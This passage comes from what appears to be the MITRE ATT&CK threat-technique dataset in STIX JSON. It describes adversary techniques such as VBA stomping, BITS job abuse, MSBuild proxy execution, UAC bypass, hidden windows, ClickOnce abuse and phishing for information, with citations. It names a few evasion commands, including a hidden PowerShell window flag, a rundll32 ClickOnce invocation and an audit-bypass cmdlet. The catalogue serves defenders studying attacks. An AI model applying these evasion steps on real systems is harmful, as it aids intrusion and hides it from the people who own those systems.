                    "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
                },
                {
                    "source_name": "Evil Clippy May 2019",
                    "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.",
                    "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/"
                },
                {
                    "source_name": "Microsoft _VBA_PROJECT Stream",
                    "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.",
                    "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239"
                },
                {
                    "source_name": "Walmart Roberts Oct 2018",
                    "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.",
                    "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"
                }
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            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.716Z",
            "name": "VBA Stomping",
            "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
            "kill_chain_phases": [
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                    "phase_name": "stealth"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
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            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1197",
                    "external_id": "T1197"
                },
                {
                    "source_name": "CTU BITS Malware June 2016",
                    "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
                    "url": "https://www.secureworks.com/blog/malware-lingers-with-bits"
                },
                {
                    "source_name": "Symantec BITS May 2007",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"
                },
                {
                    "source_name": "PaloAlto UBoatRAT Nov 2017",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
                },
                {
                    "source_name": "Microsoft BITS",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"
                },
                {
                    "source_name": "Microsoft BITSAdmin",
                    "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/aa362813.aspx"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Mondok Windows PiggyBack BITS May 2007",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
                }
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            "modified": "2026-05-12T15:12:00.716Z",
            "name": "BITS Jobs",
            "description": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
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                    "phase_name": "stealth"
                },
                {
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                    "phase_name": "persistence"
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                    "phase_name": "execution"
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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                "David French, Elastic",
                "Red Canary",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0",
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "created": "2020-03-27T21:50:26.042Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127/001",
                    "external_id": "T1127.001"
                },
                {
                    "source_name": "LOLBAS Msbuild",
                    "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/"
                },
                {
                    "source_name": "Microsoft MSBuild Inline Tasks 2017",
                    "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.",
                    "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element"
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                    "source_name": "MSDN MSBuild",
                    "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                    "url": "https://msdn.microsoft.com/library/dd393574.aspx"
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            "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",
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                {
                    "source_name": "CrowdStrike-BEC",
                    "description": "Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.",
                    "url": "https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/"
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                    "source_name": "VEC",
                    "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                    "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
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            "description": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)",
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                    "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.",
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                    "description": "Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.",
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                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
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                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
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                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
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                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
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                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
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                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
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                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
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                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
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                    "source_name": "enigma0x3 sdclt app paths",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
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                {
                    "source_name": "enigma0x3 sdclt bypass",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
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            "name": "Bypass User Account Control",
            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
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                    "url": "https://attack.mitre.org/techniques/T1494",
                    "external_id": "T1494"
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                    "source_name": "FireEye APT38 Oct 2018",
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                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
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            "name": "Runtime Data Manipulation",
            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
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                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
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                    "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.",
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                    "source_name": "Sans ARP Spoofing Aug 2003",
                    "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.",
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                    "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
                    "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"
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                    "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
                    "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.",
                    "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
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                    "source_name": "Configuring Data Access audit logs",
                    "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit/configure-data-access"
                },
                {
                    "source_name": "Dark Reading Microsoft 365 Attacks 2021",
                    "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.",
                    "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"
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                    "source_name": "az monitor diagnostic-settings",
                    "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"
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                {
                    "source_name": "Pacu Detection Disruption Module",
                    "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.",
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            "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)",
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                    "source_name": "Cantoris Computing",
                    "description": "Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.",
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                    "source_name": "Cybereason - Hidden Malicious Remote Access",
                    "description": "Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.",
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                    "source_name": "LOLBAS Project GitHub Device Cred Dep",
                    "description": "Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.",
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                    "source_name": "Hidden VNC",
                    "description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.",
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                    "source_name": "Anatomy of an hVNC Attack",
                    "description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.",
                    "url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"
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                    "source_name": "SecureList BlueNoroff Device Cred Dev",
                    "description": "Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.",
                    "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
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                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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                    "source_name": "PowerShell About 2019",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
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            "name": "Hidden Window",
            "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack)  All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.",
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                    "source_name": "FireEye APT38 Oct 2018",
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                    "url": "https://content.fireeye.com/apt/rpt-apt38"
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                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
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            "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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                    "source_name": "LOLBAS /Dfsvc.exe",
                    "description": "LOLBAS. (n.d.). /Dfsvc.exe. Retrieved September 9, 2024.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/"
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                    "source_name": "Microsoft Learn ClickOnce",
                    "description": "Microsoft. (2023, September 14). ClickOnce security and deployment. Retrieved September 9, 2024.",
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                    "source_name": "SpectorOps Medium ClickOnce",
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                    "source_name": "NetSPI ClickOnce",
                    "description": "Ryan Gandrud. (2015, March 23). All You Need Is One \u2013 A ClickOnce Love Story. Retrieved September 9, 2024.",
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                    "source_name": "Burke/CISA ClickOnce Paper",
                    "description": "William J. Burke IV. (n.d.). Appref-ms Abuse for  Code Execution & C2. Retrieved September 9, 2024.",
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                    "source_name": "Burke/CISA ClickOnce BlackHat",
                    "description": "William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU\u2019RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.",
                    "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894"
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            "name": "ClickOnce",
            "description": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)",
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                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
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                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
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                    "source_name": "DFIR Report Trickbot June 2023",
                    "description": "The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.",
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            "description": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                    "source_name": "Avertium callback phishing",
                    "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
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                    "source_name": "TrendMictro Phishing",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
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                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.",
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                    "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
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                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.",
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                    "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
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                    "source_name": "GitHub Phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
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                    "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
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            "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1684/002)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)",
